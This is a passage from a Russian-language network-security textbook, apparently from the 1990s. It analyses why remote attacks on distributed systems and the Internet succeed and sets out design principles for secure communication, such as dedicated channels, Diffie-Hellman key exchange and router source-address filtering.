сформулировать те принципы и требования, которые ликвидировали бы причины
успеха УА и, руководствуясь которыми, было бы возможно построение
распределенной ВС с защищенным сетевым взаимодействием ее удаленных
компонентов.
5.1. Причины успеха удаленных атак на распределенные ВС
5.2. Причины успеха удаленных атак на сеть Internet
5.1. Причины успеха удаленных атак на распределенные ВС
Основные вопросы, на которые попытается дать ответы данная глава, это:
почему возможны удаленные атаки и в чем причины их успеха ? Анализ
механизмов реализации типовых УА (глава 3) и их практическое осуществление
на примере сети Internet (глава 4) позволили сформулировать причины, по
которым данные удаленные атаки оказались возможными. Особо отметим, что
рассматриваемые ниже причины основываются на базовых принципах построения
сетевого взаимодействия объектов распределенной ВС.
В этой главе мы разберем только причины успеха УА на инфраструктуру и
базовые протоколы сети (глава 4), а не УА на телекоммуникационные службы,
причины успеха которых будут рассмотрены в главе 8. Для устранения причин
атак первого типа зачастую необходимо либо отказаться от определенных
служб (DNS, например, см. п. 4.3), либо изменить конфигурацию системы
(наличие широковещательной среды приводит к возможности прослушивания
канала, осуществляемого программным образом (п. 4.1 и 3.2.1)), либо
изменить систему в целом (см. направленный шторм TCP-запросов в. п. 4.6).
Все дело в том, что причины успеха удаленных атак данного типа кроются в
инфраструктуре распределенной ВС, поэтому создание таксономии причин их
успеха представляется весьма важной задачей, решение которой позволит
выработать принципы построения защищенного взаимодействия в РВС.
Итак, рассмотрим возможные причины успеха УА на инфраструктуру и
базовые протоколы распределенных ВС.
5.1.1. Отсутствие выделенного канала связи между объектами РВС
В п. 3.2.1 была рассмотрена типовая УА Анализ сетевого трафика . Кратко
напомним, что данная атака заключается в прослушивании канала передачи
сообщений в сети. Результат этой атаки во-первых, выяснение логики работы
распределенной ВС и, во-вторых, перехват потока информации, которой
обмениваются объекты системы. Такая атака программно возможна только в
случае, если атакующий находится в сети с физически широковещательной
средой передачи данных как, например, всем известная и получившая широкое
распространение среда Ethernet (в отличие от Token Ring, которая не
является широковещательной, но и не имеет достаточного распространения).
Очевидно, что данная УА была бы программно невозможна, если бы у
каждого объекта системы существовал для связи с любым другим объектом
выделенный канал (вариант физического прослушивания выделенного канала не
рассматривается, так как без специфических аппаратных средств подключение
к выделенному каналу невозможно).
Следовательно, причина успеха данной типовой УА - наличие
широковещательной среды передачи данных или отсутствие выделенного канала
связи между объектами РВС.
5.1.2. Недостаточная идентификация и аутентификация объектов и
субъектов РВС Как уже подчеркивалось в предыдущих главах, проблема
идентификации и аутентификации субъектов и объектов РВС имеет чрезвычайно
важное значение. От успеха ее решения зависит безопасность распределенной
ВС в целом. Примеры успешно осуществленных удаленных атак, рассмотренные в
предыдущих главах, доказывают, что отсутствие у разработчиков определенной
заранее выработанной концепции и принципов идентификации объектов РВС в
целом оставляют атакующему потенциальные возможности для компрометации
объектов системы. Стандартными способами компрометации субъектов и
объектов РВС являются:
выдача себя за определенный объект или субъект с присвоением его прав и
полномочий для доступа в систему (например, см. п. 3.2.2 - типовая УА
Подмена доверенного субъекта или объекта РВС );
внедрение в систему ложного объекта, выдающего себя за доверенный объект
системы (например, см. п. 3.2.3 - типовая УА Ложный объект РВС ).
5.1.2.1. Взаимодействие объектов без установления виртуального канала
Одним из важнейших вопросов, на который необходимо ответить, говоря об
идентификации/аутентификации объектов/субъектов РВС, является вопрос о
видах взаимодействия между субъектами и объектами в распределенной ВС. Как
отмечалось в п. 3.2.2, взаимодействие между субъектами и объектами РВС
бывает двух видов:
с использованием виртуального канала, без использования виртуального
канала.
Практика показывает, что 99% взаимодействия между объектами в сети
Internet проходит с установлением ВК (при любом FTP-, TELNET-, HTTP- и т.
п.
подключении используется протокол TCP, а, следовательно, создается ВК).
Это происходит из-за того, что взаимодействие по виртуальному каналу
является единственным динамическим способом защиты сетевого соединения
объектов РВС. Дело в том, что в процессе создания ВК объекты РВС
обмениваются динамически вырабатываемой ключевой информацией, позволяющей
уникально идентифицировать канал. В противном случае для идентификации
объектов распределенной системы пришлось бы использовать массив
статической идентификационной информации, уникальной для каждого объекта в
системе. А это означает, что мы получаем стандартную проблему статического
распределения ключей (матрица NхN), которая решается только на
ограниченном подмножестве объектов. Очевидно, что задача статического
распределения ключей на сегодняшний день в принципе не может быть решена в
сети Internet, да этого и не требуется.
Итак, мы показали, что идентификация объектов РВС, при отсутствии
статической ключевой информации, возможна только при взаимодействии
объектов с использованием виртуального канала.
Это, в свою очередь, означает, что взаимодействие объектов без
установления ВК является одной из возможных причин успеха удаленных атак
на РВС.
Но ошибочно считать распределенную вычислительную систему безопасной,
даже если все взаимодействие объектов происходит с созданием ВК. Об этом
речь пойдет в следующем пункте.
5.1.2.2. Использование нестойких алгоритмов идентификации объектов при
создании виртуального канала
Ошибочно считать взаимодействие объектов по виртуальному каналу в
распределенной ВС панацеей от всех проблем, связанных с идентификацией
объектов РВС. ВК является необходимым, но не достаточным условием
безо-пасного взаимодействия. Чрезвычайно важным в данном случае становится
выбор алгоритма идентификации при создании ВК. Основное требование,
которое следует предъявлять к данным алгоритмам, состоит в следующем:
перехват ключевой информации, которой обмениваются объекты РВС при
создании ВК не должен позволить атакующему получить итоговые
идентификаторы канала и объектов (п. 6.2). Это требование по сути
очевидно. Оно должно предъявляться к алгоритмам идентификации исходя из
принципиальной возможности прослушивания атакующим канала передачи. Однако
в большинстве существующих сетевых ОС в базовых алгоритмах идентификации,
используемых при создании ВК, этим требованием разработчики практически
пренебрегают. Так, например, в ОС Novell NetWare 3.12- 4.1 идентификатор
канала - это число в диапазоне 0-FFh, идентификатор объекта (рабочей
станции или файл-сервера) - также число от 0 до FFh; в протоколе TCP
идентификаторами канала и объектов являются два 32-битных числа,
формируемых в процессе создания TCP-соединения (п.
4.5).
Из всего сказанного ясно, что создание виртуального канала с
использованием нестойкого алгоритма идентификации не позволяет надежно
обезопасить РВС от подмены объектов взаимодействия и выступает одной из
причин успеха удаленных атак на распределенные вычислительные системы.
5.1.3. Отсутствие контроля за виртуальными каналами связи между
объектами РВС
Как было показано в п. 3.2.4 и в п. 4.6 (нарушение работоспособности
хоста в сети Internet) объекты распределенной ВС, взаимодействующие по
виртуальным каналам, могут подвергаться типовой УА Отказ в обслуживании .
Особенность этой атаки состоит в том, что, действуя абсолютно легальными
средствами системы, можно удаленно добиться нарушения ее работоспособности.
Напомним, что, данная УА реализуется передачей множественных запросов
на создание соединения (виртуального канала), в результате чего либо
переполняется число возможных соединений, либо система, занятая обработкой
ответов на запросы, вообще перестает функционировать. В чем причина успеха
данной УА? В предыдущем пункте было показано, что взаимодействие объектов
РВС по виртуальным каналам позволяет единственным способом обеспечить
защиту соединения в глобальной сети. Однако в использовании ВК есть как
несомненные плюсы, так и очевидные минусы. К минусам относится
необходимость контроля над соединением. При этом задача контроля
распадается на две подзадачи:
контроль за созданием соединения; контроль за использованием соединения.
Если вторая задача решается довольно просто (обычно соединение
разрывается по тайм-ауту, определенному системой - так сделано во всех
известных сетевых ОС), то решение задачи контроля за созданием соединения
представляется нетривиальным (п. 6.4). Именно отсутствие приемлемого
решения этой задачи является основной причиной успеха типовой УА Отказ в
обслуживании . Сложность контроля над созданием ВК состоит в том, что в
системе, в которой отсутствует статическая ключевая информация о всех ее
объектах, невозможно отделить ложные запросы на создание соединения от
настоящих. Очевидно также, что если один субъект сетевого взаимодействия
будет иметь возможность анонимно занимать неограниченное число каналов
связи с удаленным объектом, то подобная система может быть полностью
парализована данным субъектом (пример - существующая сеть Internet в
стандарте IPv4)! Поэтому, если любой объект в распределенной системе может
анонимно послать сообщение от имени любого другого объекта (например, в
Internet маршрутизаторы не проверяют IP-адрес источника отправления), то в
подобной распределенной ВС в принципе невозможен контроль за созданием
виртуальных соединений. Поэтому основная причина, по которой возможна
типовая УА Отказ в обслуживании и ей подобные - это отсутствие в РВС
возможности контроля за маршрутом сообщений.
5.1.4. Отсутствие в РВС возможности контроля за маршрутом сообщений
В распределенных ВС в качестве начальной идентифицирующей объект
информации обычно выступает его адрес. Под адресом в РВС понимается
определенная системой уникальная информация, которой он наделяется при
внесении в систему.
Теперь все сообщения от других объектов РВС, адресованные на этот
адрес, поступят на данный объект. Путь, или, как принято говорить, маршрут
сообщения определяется топологией РВС и проходит через совокупность
узлов-маршрутизаторов. Следовательно, в каждом приходящем на объект РВС
пакете может быть полностью отмечен его маршрут- список адресов
маршрутизаторов, пройденных на пути к адресату.
Этот отмеченный в пакете маршрут станет информацией, аутентифицирующей
(подтверждающей)
с точностью до подсети, подлинность адреса субъекта, отославшего
сообщение. Другой вариант аутентификации адреса отправителя - фильтрация
маршрутизатором пакетов с неверным адресом отправителя (п. 6.3).
Если в РВС не предусмотреть подобных возможностей контроля за маршрутом
сообщения, то адрес отправителя сообщения оказывается ничем не
подтвержден. Таким образом, в системе будет существовать возможность
отправки сообщения от имени любого объекта системы, а именно путем
указания в заголовке сообщения чужого адреса отправителя (см. атаки в п.
4.3-4.6). Также в подобной РВС будет невозможно определить, откуда на
самом деле пришло сообщение, а, следовательно, вычислить координаты
атакующего (в сети Internet невозможно доступным способом вычислить
инициатора однонаправленной удаленной атаки).
Таким образом, мы убеждаемся, что отсутствие в распределенной ВС
возможности контроля за маршрутом сообщений порождает, во-первых,
невозможность контроля за созданием соединений, и, во-вторых, возможность
анонимной отправки сообщения, следовательно является причиной успеха
удаленных атак на РВС.
5.1.5. Отсутствие в РВС полной информации о ее объектах
В распределенной системе с разветвленной структурой, состоящей из
большого числа объектов, может возникнуть ситуация, когда для доступа к
определенному объекту системы у субъекта взаимодействия может не оказаться
необходимой информации об интересующем объекте (п. 3.2.3.2). Обычно такой
недостающей информацией об объекте является его адрес. Такая ситуация
характерна и вполне объяснима для сетей с разветвленной структурой.
Объясним это на простом примере. Предположим, что пользователь сети
Internet решил подключиться, например, к WWW-серверу фирмы Novell. Он
знает ее название, но не имеет информации об IP-адресе или имени ее
сервера. В этом случае пользователь может послать широковещательный запрос
всем хостам в сети с надеждой, что запрос дойдет до интересующего его
сервера, и тот в ответ пришлет столь нужный для пользователя адрес.
Очевидно, что в глобальной сети использование данной схемы по меньшей мере
неразумно. Поэтому для подобных целей пользователь может подключиться к
ближайшему известному ему поисковому серверу (Altavista, например) и
послать запрос на поиск адреса интересующей его фирмы в базе данных
информационного сервера.
Рассмотренный выше пример наглядно описывает возможные алгоритмы
удаленного поиска (понятие удаленного поиска введено в п. 3.2.3.2),
которые используют объекты РВС. В первом случае, когда поиск
осуществляется внутри сегмента сети, субъект системы посылает
широковещательный запрос, который получают все объекты РВС, и тот из них,
для кого предназначался запрос, передает в ответ необходимую для адресации
информацию. Во втором случае, когда необходимо осуществить глобальный
поиск, субъект распределенной системы посылает запрос на ближайший
информационно-поисковый сервер, который, просканировав свою базу данных в
поисках адреса запрашиваемого ресурса, либо отошлет в ответ на запрос
найденный адрес, либо обратится к следующему в системе
поисково-информационному серверу. Таким образом, если в распределенной ВС
существуют объекты, информация о которых не определена, то для обеспечения
ее нормального функционирования необходимо использование описанных выше
алгоритмов удаленного поиска.
Примером РВС с заложенной неопределенностью является сеть Internet, в
которой, во-первых, у хостов, находящихся в одном сегменте, может не быть
информации об аппаратных адресах друг друга (см.
УА в п. 4.2), и, во-вторых, применяются непригодные для
непосредственной адресации мнемонические имена хостов, используемые для
удобства пользователей при обращении к удаленным системам (см. УА в п.
4.3).
На наш взгляд, очевиден тот факт, что в системе с заложенной в нее
неопределенностью существуют потенциальные возможности внесения в систему
ложного объекта и выдачи одного объекта системы за другой (см. УА в п.
3.2.3, 4.2, 4.3). Этот факт объясняется тем, что, являясь следствием
неопределенности системы, алгоритмы удаленного поиска несут в себе
потенциальную угрозу, состоящую в том, что на посланный запрос может
прийти ложный ответ, в котором вместо информации о запрашиваемом объекте
будет информация о ложном объекте. Вследствие этого распределенная ВС с
заложенной неопределенностью является потенциально опасной системой и
может подвергаться удаленным атакам.
5.1.6. Отсутствие в РВС криптозащиты сообщений В распределенных ВС
связь между объектами системы осуществляется по каналам связи. Поэтому
всегда существует принципиальная возможность для атакующего прослушать
канал и получить несанкционированный доступ к информации, которой
обмениваются по сети ее абоненты (п. 3.2.1 и п. 4.1). В том случае, если
проходящая по каналу информация не зашифрована и атакующий каким-либо
образом получает доступ к каналу, то УА Анализ сетевого трафика является
наиболее эффективным способом получения информации.
Очевидна и причина, делающая эту атаку столь эффективной. Эта причина -
передача по сети незашифрованной информации.
Использование криптостойких алгоритмов шифрования пакетов обмена между
объектами РВС на канальном, прикладном уровнях делает анализ сетевого
трафика практически бессмысленным. В случае канального шифрования, которое
обычно выполняется аппаратно, по сети передаются полностью зашифрованные
пакеты. В том случае, если в сети используются алгоритмы шифрования
пакетов на сетевом - прикладном уровнях, то шифрация применяется только к
полям данных пакетов соответствующих уровней, то есть заголовки пакетов,
содержащие служебную информацию, не являются зашифрованными, поэтому
атакующий имеет возможность, перехватив пакет, подвергнуть анализу данную
служебную информацию.
5.2. Причины успеха удаленных атак на сеть Internet
Сеть Internet представляет собой распределенную вычислительную систему,
инфраструктура которой общеизвестна и хорошо описана в различной
литературе, например [12]. Поэтому рассмотренные в п. 5.1 причины успеха
удаленных атак на распределенные ВС можно спроецировать на сеть Internet и
сделать вывод о существовании в данной сети серьезных пробелов в
обеспечении безопасности, на которых базируются причины.
Внимательный читатель, изучая предыдущие разделы, уже, наверное,
мысленно осуществил проекцию и обратил внимание на то, как недостатки,
присущие абстрактной распределенной ВС, легко обнаруживаются в реальной
РВС - Internet.
5.2.1. Отсутствие выделенного канала связи между объектами сети
Internet
Глобальная сеть не может быть построена по принципу прямой связи между
объектами системы, то есть невозможно для каждого объекта обеспечить
выделенный канал для связи с любым другим объектом системы. Поэтому в
Internet связь осуществляется через цепочку маршрутизаторов, а,
следовательно, сообщение, проходя через большое количество промежуточных
подсетей, может быть перехвачено. Также к Internet подключено большое
число локальных Ethernet-сетей, использующих топологию общая шина . В
сетях с такой топологией несложно программно осуществлять перехват всех
сообщений в сети. Однако данный недостаток присущ скорее не Internet, а
Ethernet.
5.2.2. Недостаточная идентификация и аутентификация объектов и
субъектов сети Internet
В Internet в базовых протоколах обмена идентификация и аутентификация
объектов практически отсутствует. Так, в прикладных протоколах FTP и
TELNET имена и пароли пользователей передаются по сети в виде открытых
незашифрованных сообщений (п. 4.1). В существующем стандарте IPv4 протокол
сетевого уровня - IP - не предусматривает никакой идентификации и
аутентификации объектов (за исключением IP-адреса отправителя, подлинность
которого, в свою очередь, невозможно подтвердить (п. 5.1.3-5.1.4)). Все
проблемы с идентификацией разработчики переложили на следующий -
транспортный - уровень.
За этот уровень отвечают протоколы UDP и TCP.
Протокол UDP не содержит в себе дополнительной идентифицирующей
информации, однако используется для передачи управляющих (!)
ICMP-сообщений (п. 4.4). Таким образом, единственным протоколом,
приз-ванным обеспечить безопасность в Internet, является протокол TCP,
взаимодействие с использованием которого осуществляется по виртуальному
каналу.
5.2.2.1 Взаимодействие в сети Internet объектов без установления
виртуального канала
Одной из особенностей сети Internet выступает взаимодействие объектов
без создания виртуального канала. Очевидно, что разработчики планировали
подобное взаимодействие в том случае, если оно не является критичным для
системы и не требуется обеспечения его безопасности. Однако, как в случае
управляющих ICMP-сообщений (которые уж никак не назовешь не критичными для
системы!), так и в случае DNS-запросов используется связь без ВК. Это
приводит к возможности осуществления УА, рассмотренных в п. 4.3 и 4.4.
5.2.2.2 Использование нестойких алгоритмов идентификации объектов при
создании виртуального TCP-соединения
Как уже подчеркивалось, протокол TCP является единственным базовым
протоколом транспортного уровня сети Internet, в функции которого заложена
защита соединения. Однако использование простейшего алгоритма
идентификации объектов при создании виртуального TCP-канала (п. 4.5),
особенно при условии применения в сетевых ОС простейших времязависимых
законов генерации TCP-иден-тификаторов (ISN), сводят на нет все попытки
обеспечения идентификации канала и объектов при их взаимодействии по
протоколу TCP.
5.2.3. Невозможность контроля за виртуальными каналами связи между
объектами сети Internet
В существующем стандарте сети Internet невозможно обеспечить контроль
за сетевыми соединениями, так как у одного субъекта сетевого
взаимодействия существует возможность занять неограниченное число каналов
связи с удаленным объектом и при этом остаться анонимным (п. 5.1.3). Из-за
этого любой хост в сети Internet может быть полностью парализован (п. 4.6).
5.2.4. Отсутствие в Internet возможности контроля за маршрутом
сообщений
Невозможность контроля в сети Internet за виртуальными каналами
обуславливается отсутствием в сети контроля за маршрутом сообщений, а
именно, в существующем стандарте IPv4 невозможно по пришедшему на хост
сообщению определить путь, через который оно прошло, следовательно,
невозможно проверить подлинность адреса отправителя (п. 4.6).
5.2.5. Отсутствие в Internet полной информации о ее объектах и,
следовательно, вынужденное использование алгоритмов удаленного поиска
Очевидно, что в глобальной сети невозможно обеспечить на каждом ее
объекте наличие информации о любом другом объекте в сети.
Поэтому, как говорилось ранее, необходимо использовать потенциально
опасные алгоритмы удаленного поиска. В сети Internet используется по
меньшей мере два алгоритма удаленного поиска: ARP и DNS. Удаленные атаки,
направленные на эти протоколы см. в п. 4.2-4.3.
5.2.6. Отсутствие в базовых протоколах Internet криптозащиты сообщений
В существующих базовых протоколах семейства TCP/IP, обеспечивающих
взаимодействие на сетевом-сеансовом уровнях, не предусмотрена возможность
шифрования сообщений, хотя очевидно, что добавить ее в протокол TCP не
составляло труда.
Разработчики этих базовых протоколов решили переложить задачу
криптозащиты на протоколы более высоких уровней, например, прикладного.
При этом базовые протоколы прикладного уровня (FTP, TELNET, HTTP и др.)
также не предусматривали никакого шифрования сообщений. Только недавно
появился общедоступный прикладной протокол SSL, встроенный в Netscape
Navigator, позволяющий как надежно зашифровать сообщение, так и
подтвердить его подлинность (п.
7.2.2.1).
В заключении к этой главе хотелось бы заметить, что все описанные выше
причины, по которым возможны удаленные атаки на сетевые соединения, делают
сеть Internet небезопасной. Поэтому, в принципе, все пользователи этой
сети пользуются ее услугами на свой страх и риск и могут быть атакованы в
любой момент. В настоящее время пользователи сети Internet в большинстве
своем из-за абсолютного непонимания источников и реальной силы угроз
находятся в постоянном беспокойстве.
Это напоминает тот вирусный бум, который был в начале 90-х годов.
Данная глава преследовала цель объяснить и продемонстрировать исходящие из
сети Internet возможные угрозы и причины их возникновения.
Диаграмма 2. Причины успеха удаленных атак на распределенные
вычислительные системы и сеть Internet
6. Принципы создания защищенных систем связи в распределенных
вычислительных системах
План, что и говорить, был превосходный:
простой и ясный, лучше не придумаешь.
Недостаток у него был только один:
было совершенно неизвестно,
как привести его в исполнение.
Л. Кэрролл.
Приключения Алисы в стране чудес.
В предыдущей главе были рассмотрены основные причины нарушения
информационной безопасности распределенных вычислительных систем по
каналам связи. Описанные выше причины успеха удаленных атак на
распределенные системы наглядно продемонстрировали, что несоблюдение
требований безопасности к защищенным системам связи удаленных объектов РВС
приводит к нарушению безопасности системы в целом. Поэтому данная глава и
будет посвящена выработке требований защищенного взаимодействия в
распределенной ВС.
Основной вопрос, на который мы постараемся здесь ответить, это - из
каких принципов необходимо исходить при построении защищенной системы
связи удаленных объектов распределенной ВС.
Итак, далее речь пойдет о технологии создания защищенных систем связи
объектов в РВС.
Очевидно, что при построении защищенных систем следует бороться не с
угрозами, являющимися следствием недостатков системы, а с причинами
возможного успеха атак. Ясно, что для того, чтобы победить следствие, надо
устранить причину.
Поэтому, чтобы ликвидировать угрозы (удаленные атаки), осуществляемые
по каналам связи, необходимо ликвидировать причины, их порождающие. Это
основной принцип, руководствуясь которым, далее мы и сформулируем
требования к защищенным системам связи в распределенных ВС.
6.1. Выделенный канал связи между объектами распределенной ВС
6.2. Виртуальный канал как средство обеспечения дополнительной
идентификации/аутентификации объектов в распределенной ВС
6.3. Контроль за маршрутом сообщения в распределенной ВС
6.4. Контроль за виртуальными соединениями в распределенной ВС
6.5. Проектирование распределенной ВС с полностью определенной
информацией о ее объектах с целью исключения алгоритмов удаленного поиска
6.1. Выделенный канал связи между объектами распределенной ВС
Все объекты распределенной ВС взаимодействуют между собой по каналам
связи. В п. 5.1.1 рассматривалась причина успеха УА, состоящая в
использовании в РВС для связи между объектами широковещательной среды
передачи которое означает, что все объекты распределенной ВС подключаются
к одной общей шине (топология сети - общая шина , рис. 6.1). Это приводит
к тому, что сообщение, предназначенное (адресованное)
только одному объекту системы, будет получено всеми ее объектами.
Однако только объект, адрес которого указан в заголовке сообщения как
адрес назначения, будет считаться тем объектом, кому это сообщение
непосредственно направлялось.
Очевидно, что в РВС с топологией общая шина необходимо использовать
специальные методы идентификации объектов (п. 6.2), так как идентификация
на канальном уровне возможна только в случае использования сетевых
криптокарт.
Также очевидно, что идеальной с точки зрения безопасности будет
взаимодействие объектов распределенной ВС по выделенным каналам.
Существуют два возможных способа организации топологии распределенной
ВС с выделенными каналами. В первом случае каждый объект связывается
физическими линиями связи со всеми объектами системы (рис. 6.2). Во втором
случае в системе может использоваться сетевой концентратор, через который
осуществляется связь между объектами (топология звезда - рис. 6.3).
Следует заметить, что в этом случае нарушается один из принципов, на
которых строилась сеть Internet: сеть должна функционировать при выходе из
строя любой ее части.
Рис. 6.1. Сетевая топология "общая шина".
Рис. 6.2 . Сетевая топология "N-объектов - N-каналов".
Рис. 6.3. Сетевая топология "звезда".
Плюсы распределенной ВС с выделенными каналами связи между объектами
состоят в следующем:
передача сообщений осуществляется напрямую между источником и
приемником, минуя остальные объекты системы. В такой системе в случае
отсутствия доступа к объектам, через которые осуществляется передача
сообщения, не существует программной возможности для анализа сетевого
трафика;
имеется возможность идентифицировать объекты распределенной системы на
канальном уровне по их адресам без использования специальных
криптоалгоритмов шифрования трафика. Это оказывается, поскольку система
построена так, что по данному выделенному каналу осуществима связь только
с одним определенным объектом.
Появление в такой распределенной системе ложного объекта невозможно без
аппаратного вмешательства (подключение дополнительного устройства к каналу
связи);
система с выделенными каналами связи - это система, в которой
отсутствует неопределенность с информацией о ее объектах (п. 5.1.5).
Каждый объект в такой системе изначально однозначно идентифицируется и
обладает полной информацией о других объектах системы.
К минусам РВС с выделенными каналами относятся:
сложность реализации и высокие затраты на создание системы;
ограниченное число объектов системы (зависит от числа входов у
концентратора); сложность внесения в систему нового объекта.
Очевидно также, что создание глобальной РВС с выделенными каналами
потребует колоссальных затрат и возможно на сегодняшний день.
Анализируя все плюсы и минусы использования выделенных каналов для
построения защищенных систем связи между объектами РВС, можно сделать
вывод, что создание распределенных систем только с использованием
широковещательной среды передачи или только с выделенными каналами
неэффективно. Поэтому представляется правильным при построении
распределенных вычислительных систем с разветвленной топологией и большим
числом объектов использовать комбинированные варианты соединений объектов.
Для обеспечения связи между объектами большой степени значимости можно
использовать выделенный канал.
Связь менее значимых объектов системы может осуществляться с
использованием комбинации общая шина-выделенный канал.
В данном пункте были рассмотрены варианты сетевых топологий с
выделенными каналами связи.
При этом рассматривались только физические каналы связи и предлагались
более или менее безопасные способы взаимодействия объектов системы по этим
каналам. Однако выбор безопасной топологии РВС является необходимым, но
отнюдь не достаточным условием для создания защищенных систем связи между
объектами распределенных ВС.
Итак, в завершение данного пункта сформулируем первый принцип создания
защищенных средств связи объектов в РВС:
Утверждение 1.
Наилучшее с точки зрения безопасности взаимодействие объектов в
распределенной ВС возможно только по физически выделенному каналу.
6.2. Виртуальный канал как средство обеспечения дополнительной
идентификации/аутентификации объектов в распределенной ВС
В предыдущем пункте рассматривались возможные наиболее безопасные
варианты физического построения сети: как в РВС необходимо соединять
объекты для обеспечения наиболее безопасного взаимодействия. Однако, для
создания защищенного взаимодействия удаленных объектов подобных мер явно
недостаточно, так как, во-первых, на практике обеспечить взаимодействие
всех объектов по выделенному каналу достаточно сложно и, во-вторых, нельзя
не предусмотреть вариант физического подключения к каналу. Следовательно,
разработчик защищенной системы связи в распределенной ВС должен исходить
из следующего принципа:
Утверждение 2.
При построении защищенной системы связи в распределенной ВС необходимо
исходить из того, что все сообщения, передаваемые по каналу связи, могут
быть перехвачены, но это не должно повлечь за собой нарушения безопасности
системы в целом.
Таким образом, данное утверждение накладывает на разработчика следующие
требования:
необходимость введения дополнительных средств идентификации объектов в
распределенной ВС и криптозащита передаваемых по каналу связи сообщений.
В п. 5.1.2 доказывалось, что идентификация объектов РВС, в отсутствие
статической ключевой информации, возможна только при взаимодействии
объектов с использованием виртуального канала (заметим, что в дальнейшем
рассматривается только распределенная ВС, у объектов которой отсутствует
ключевая информация для связи друг с другом - в подобной системе решить
задачу безопасного взаимодействия несколько сложнее).
Следовательно, для того, чтобы ликвидировать причину успеха удаленных
атак, описанную в п.
5.1.2.1, а также, исходя из Утверждения 2, необходимо руководствоваться
следующим правилом:
Утверждение 3.
Любое взаимодействие двух объектов в распределенной ВС должно проходить
по виртуальному каналу связи.
Рассмотрим, как в распределенной ВС виртуальный канал (ВК) связи может
использоваться для надежной, независимой от топологии и физической
организации системы, идентификации ее удаленных объектов.
Для этого при создании ВК могут использоваться криптоалгоритмы с
открытым ключом (например, недавно в Internet принят подобный стандарт
защиты ВК, называемый Secret Socket Layer - SSL). Данные криптоалгоритмы
основаны на результатах исследований, полученных в 70-х годах У. Диффи. Он
ввел понятие односторонней функции с потайным входом. Это не просто
вычисляемая в одну сторону функция, обращение которой невозможно, она
содержит потайной вход (trapdoor), который позволяет вычислять обратную
функцию лицу, знающему секретный ключ. Сущность криптографии с открытым
ключом (или двухключевой криптографии) в том, что ключи, имеющиеся в
криптосистеме, входят в нее парами и каждая пара удовлетворяет следующим
двум свойствам:
текст, зашифрованный на одном ключе, может быть дешифрован на другом;
знание одного ключа не позволяет вычислить другой.
Поэтому один из ключей может быть опубликован.
При опубликованном (открытом) ключе шифрования и секретном ключе
дешифрования получается система шифрования с открытым ключом. Каждый
пользователь сети связи может зашифровать сообщение при помощи открытого
ключа, а расшифровать его сможет только владелец секретного ключа. При
опубликовании ключа дешифрования получается система цифровой подписи.
Здесь только владелец секретного ключа создания подписи может правильно
зашифровать текст (т.е. подписать его), а проверить подпись (дешифровать
текст) может любой на основании опубликованного ключа проверки подписи.
В 1976 г. У. Диффи и М. Хеллман предложили следующий метод открытого
распределения ключей.
Пусть два объекта A и B условились о выборе в качестве общей начальной
информации большого простого числа p и примитивного корня степени p - 1 из
1 в поле вычетов по модулю p. Тогда эти пользователи действуют в
соответствии с протоколом (рис. 6.4):
A вырабатывает случайное число x, вычисляет число ax(mod p) и посылает
его B; B вырабатывает случайное число y, вычисляет число ay(mod p) и
посылает его A;
затем A и B возводят полученное число в степень со своим показателем и
получают число axy (mod p).
Рис. 6.4. Алгоритм У. Диффи и М. Хеллмана открытого распределения
ключей
Это число и является сеансовым ключом для одноключевого алгоритма,
например, DES. Для раскрытия этого ключа криптоаналитику необходимо по
известным ax(mod p), ay(mod p) найти axy(mod p) , т.е. найти x или y.
Нахождение числа x по его экспоненте ax(mod p) называется задачей
дискретного логарифмирования в простом поле. Эта задача является
труднорешаемой, и поэтому полученный ключ, в принципе, может быть стойким
[11].
Особенность данного криптоалгоритма состоит в том, что перехват по
каналу связи пересылаемых в процессе создания виртуального канала
сообщений ax(mod p) и ay(mod p) не позволит атакующему получить конечный
ключ шифрования axy(mod p). Этот ключ далее должен использоваться,
во-первых, для цифровой подписи сообщений и, во-вторых, для их
криптозащиты. Цифровая подпись сообщений позволяет надежно
идентифицировать объект распределенной ВС и виртуальный канал.
Шифрование сообщений необходимо для соблюдения Утверждения 2. В
заключении к данному пункту сформулируем следующее требование к созданию
защищенных систем связи в распределенных ВС и два следствия из него:
Утверждение 4.
Для обеспечения надежной идентификации объектов распределенной ВС при
создании виртуального канала необходимо использовать криптоалгоритмы с
открытым ключом.
Следствие 4.1.
Необходимо обеспечить цифровую подпись сообщений.
Следствие 4.2.
Необходимо обеспечить возможность шифрования сообщений.
6.3.Контроль за маршрутом сообщения в распределенной ВС
Как известно, каждый объект распределенной ВС должен обладать адресом,
уникально его идентифицирующим. Для того, чтобы сообщение от одного
объекта было передано на другой объект системы, оно должно пройти через
цепь маршрутизаторов, задача которыхпроанализировав адрес назначения,
указанный в сообщении, выбрать оптимальный маршрут и, исходя из него,
переправить пакет или на следующий маршрутизатор или непосредственно
абоненту, если он напрямую подключен к данному узлу. Таким образом,
маршрут до объекта определяется цепочкой узлов, пройденных сообщением. Как
было показано в п. 5.1.4, маршрут сообщения может являться информацией,
аутентифицирующей с точностью до подсети подлинность адреса субъекта,
отославшего сообщение. Очевидно, что перед любой системой связи объектов в
РВС встает стандартная проблема проверки подлинности адреса сообщения,
пришедшего на объект. Эту задачу, с одной стороны, можно решить, введя
дополнительную идентификацию сообщений на другом, более высоком уровне
OSI. Так, адресация осуществляется на сетевом уровне, а дополнительная
идентификация, например, на транспортном. Однако подобное решение не
позволит избежать проблемы контроля за созданием соединений (п. 5.1.3),
так как дополнительная идентификация абонентов будет возможна только после
создания соединения.
Поэтому разработчикам распределенной ВС можно предложить следующие пути
решения проблемы.
В первом случае функцию проверки подлинности адреса отправителя можно
возложить на маршрутизатор. Это несложно сделать, так как маршрутизатор
может отследить, откуда к нему пришел пакет (от другого маршрутизатора или
от подключенного к нему хоста из подсетей, напрямую подключенных к данному
маршрутизатору).
Маршрутизатор может проверять соответствие адреса отправителя с адресом
соответствующей подсети, откуда пришло сообщение. В случае совпадения
сообщение пересылается далее, а в противном случае - отфильтровывается.
Этот способ позволит на начальной стадии отбросить пакеты с неверными
адресами отправителя.
Другой вариант решения может состоять в создании в заголовке пакета
специальных полей, куда каждый маршрутизатор, через который проходит
пакет, заносит маршрутную информацию (часть своего адреса, например). При
этом первый маршрутизатор, на который поступил пакет, заносит также
информацию о классе сети (A, B, C), откуда пришел пакет. Тем не менее,
внесение в пакет адресов всех пройденных по пути маршрутизаторов будет
неоптимальным решением, так как в этом случае сложно заранее определить
максимальный размер заголовка пакета.
Когда сообщение дойдет до конечного адресата, в его заголовке будет
полностью отмечен пройденный маршрут. По этому маршруту, вне зависимости
от указанного в пакете сетевого адреса отправителя, можно, во-первых, с
точностью до подсети идентифицировать подлинность адреса и, во-вторых,
